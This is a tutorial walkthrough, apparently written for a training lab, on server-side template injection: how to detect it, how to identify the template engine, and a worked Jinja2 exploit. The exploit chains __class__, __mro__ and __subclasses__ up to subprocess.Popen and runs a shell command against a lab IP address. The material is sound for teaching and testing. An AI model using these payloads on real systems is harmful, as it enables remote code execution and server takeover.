Server-Side Template Injection
Server-Side Template Injection (SSTI) is an exploit in which the attacker can take advantage of an insecure template engine to inject a malicious payload into a template, which is then executed server-side.
What is a template engine?
A template engine enables you to use static template files in your application. At runtime, the template engine replaces variables in a template file with actual values, and transforms the template into an HTML file sent to the client. This approach makes it easier to design an HTML page.
What is the impact of server-side template injection?
- SSTI vulnerabilities can expose websites to a variety of attacks.
- As the name suggests, SSTI is a server-side exploit means these vulnerabilities are even more critical.
- At the severe end of the scale, an attacker can potentially achieve Remote Code Execution (RCE).This helps the attacker to take full control of the back-end server.
How does server-side template injection vulnerability occur?
Server-side template injection vulnerabilities arise when user input is concatenated into templates rather than being passed in as data.
Example :
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
$output = $twig->render("Dear " . $_GET['name']);
Instead of a static value being passed into the template, part of the template itself is being dynamically generated using the GET
parameter name
. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name
parameter as follows:
http://vulnerable-website.com/profile/{{Payload}}
Methodology
Identifying server-side template injection vulnerabilities and crafting a successful attack typically involves the following high-level process.
Detect
As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as ${{ <%[%'"}}%
. If an exception is raised, this indicates that the injected template syntax is potentially being interpreted by the server in some way. This is one sign that a vulnerability to server-side template injection may exist.
Server-side template injection vulnerabilities occur in two distinct contexts, each of which requires its own detection method. Regardless of the results of your fuzzing attempts, it is important to also try the following context-specific approaches. If fuzzing was inconclusive, a vulnerability may still reveal itself using one of these approaches. Even if fuzzing did suggest a template injection vulnerability, you still need to identify its context in order to exploit it.
Identify
Now that we have detected what characters caused the application to error, it is time to identify what template engine is being used.
Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters. As a result, it can be relatively simple to create probing payloads to test which template engine is being used.
However, if this is not the case, we can use a decision tree to help us identify the template engine.
To follow the decision tree, start at the very left and include the variable in your request. Follow the arrow depending on the output:
- Green arrow - The expression evaluated (i.e 42)
- Red arrow - The expression is shown in the output (i.e ${7*7})
In the case of our example, the process looks as follows:
The application mirrors the user input, so we follow the red arrow:
You should be aware that the same payload can sometimes return a successful response in more than one template language. For example, the payload {{7*'7'}}
returns 49
in Twig
and 7777777
in Jinja2
. Therefore, it is important not to jump to conclusions based on a single successful response.
As follows the template engine is being used in this application is Jinja2
Syntax
After having identified the template engine, we now need to learn its syntax.
Where better to learn than the official documentation?
In the case of our example, the documentation states the following:
{{
- Used to mark the start of a print statement}}
- Used to mark the end of a print statement{%
- Used to mark the start of a block statement%}
- Used to mark the end of a block statement
Exploit
At this point, we know:
- The application is vulnerable to SSTI
- The injection point
- The template engine
- The template engine syntax
Since Jinja2
is a Python based template engine, we will look at ways to run shell commands in Python.
Python allows us to call the current class instance with .class, we can call this on an empty string:
Payload: http://10.10.116.231:5000/profile/{{ ''.__class__ }}.
Classes in Python have an attribute called .mro that allows us to climb up the inherited object tree:
Payload: http://10.10.116.231:5000/profile/{{ ''.__class__.__mro__ }}.
Since we want the root object, we can access the second property (first index):
Payload: http://10.10.116.231:5000/profile/{{ ''.__class__.__mro__[1] }}.
Objects in Python have a method called .subclassess that allows us to climb down the object tree:
Payload: http://10.10.116.231:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}.
As this whole output is just a Python list, we can access this by using its index. You can find this by either trial and error, or by counting its position in the list.
In this example, the position in the list is 400 (index 401):
Payload: http://10.10.116.231:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401] }}.
The above payload essentially calls the subprocess.Popen method, now all we have to do is invoke it the system user is visible on the screen.
Payload: http://10.10.116.231:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
Note :
Payloads
For quick reference, an amazing GitHub repo has been created as a cheatsheet for payloads for all web vulnerabilities, including SSTI.
The repo is located here, while the document for SSTI is located here.